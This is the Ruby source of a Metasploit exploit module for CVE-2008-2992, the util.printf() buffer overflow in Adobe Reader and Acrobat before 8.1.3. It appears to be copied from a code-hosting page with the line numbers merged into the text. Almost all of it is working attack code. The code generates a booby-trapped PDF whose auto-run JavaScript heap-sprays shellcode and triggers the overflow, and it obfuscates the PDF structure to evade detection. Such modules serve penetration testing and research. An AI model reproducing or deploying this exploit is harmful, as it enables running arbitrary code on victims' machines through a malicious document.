Path: blob/master/modules/exploits/windows/fileformat/adobe_utilprintf.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = GoodRanking910include Msf::Exploit::FILEFORMAT1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Adobe util.printf() Buffer Overflow',17'Description' => %q{18This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional19< 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf()20entry, an attacker may be able to execute arbitrary code.21},22'License' => MSF_LICENSE,23'Author' => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>' ],24'References' => [25[ 'CVE', '2008-2992' ],26[ 'OSVDB', '49520' ]27],28'DefaultOptions' => {29'EXITFUNC' => 'process',30'DisablePayloadHandler' => true31},32'Payload' => {33'Space' => 1024,34'BadChars' => "\x00",35},36'Platform' => 'win',37'Targets' => [38[ 'Adobe Reader v8.1.2 (Windows XP SP3 English)', { 'Ret' => '' } ],39],40'DisclosureDate' => '2008-02-08',41'DefaultTarget' => 0,42'Notes' => {43'Reliability' => UNKNOWN_RELIABILITY,44'Stability' => UNKNOWN_STABILITY,45'SideEffects' => UNKNOWN_SIDE_EFFECTS46}47)48)4950register_options(51[52OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),53]54)55end5657def exploit58# Encode the shellcode.59shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))6061# Make some nops62nops = Rex::Text.to_unescape(make_nops(4))6364# Randomize variables65rand1 = rand_text_alpha(rand(100) + 1)66rand2 = rand_text_alpha(rand(100) + 1)67rand3 = rand_text_alpha(rand(100) + 1)68rand4 = rand_text_alpha(rand(100) + 1)69rand5 = rand_text_alpha(rand(100) + 1)70rand6 = rand_text_alpha(rand(100) + 1)71rand7 = rand_text_alpha(rand(100) + 1)72rand8 = rand_text_alpha(rand(100) + 1)73rand9 = rand_text_alpha(rand(100) + 1)74rand10 = rand_text_alpha(rand(100) + 1)75rand11 = rand_text_alpha(rand(100) + 1)7677script = %Q|78var #{rand1} = unescape("#{shellcode}");79var #{rand2} ="";80for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");81#{rand4} = #{rand2} + #{rand1};82#{rand5} = unescape("#{nops}");83#{rand6} = 20;84#{rand7} = #{rand6}+#{rand4}.length85while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};86#{rand8} = #{rand5}.substring(0, #{rand7});87#{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});88while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};89#{rand10} = new Array();90for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};91util.printf("%45000.45000f", 0);92|9394# Create the pdf95pdf = make_pdf(script)9697print_status("Creating '#{datastore['FILENAME']}' file...")9899file_create(pdf)100end101102def random_non_ascii_string(count)103result = ""104count.times do105result << (rand(128) + 128).chr106end107result108end109110def io_def(id)111"%d 0 obj" % id112end113114def io_ref(id)115"%d 0 R" % id116end117118# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/119def n_obfu(str)120result = ""121str.scan(/./u) do |c|122if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'123result << "#%x" % c.unpack("C*")[0]124else125result << c126end127end128result129end130131def ascii_hex_whitespace_encode(str)132result = ""133whitespace = ""134str.each_byte do |b|135result << whitespace << "%02x" % b136whitespace = " " * (rand(3) + 1)137end138result << ">"139end140141def make_pdf(js)142xref = []143eol = "\x0d\x0a"144endobj = "endobj" << eol145146# Randomize PDF version?147pdf = "%PDF-1.5" << eol148pdf << "%" << random_non_ascii_string(4) << eol149xref << pdf.length150pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj151xref << pdf.length152pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj153xref << pdf.length154pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj155xref << pdf.length156pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj157xref << pdf.length158pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj159xref << pdf.length160compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))161pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol162pdf << "stream" << eol163pdf << compressed << eol164pdf << "endstream" << eol165pdf << endobj166xrefPosition = pdf.length167pdf << "xref" << eol168pdf << "0 %d" % (xref.length + 1) << eol169pdf << "0000000000 65535 f" << eol170xref.each do |index|171pdf << "%010d 00000 n" % index << eol172end173pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol174pdf << "startxref" << eol175pdf << xrefPosition.to_s() << eol176pdf << "%%EOF" << eol177end178end179180181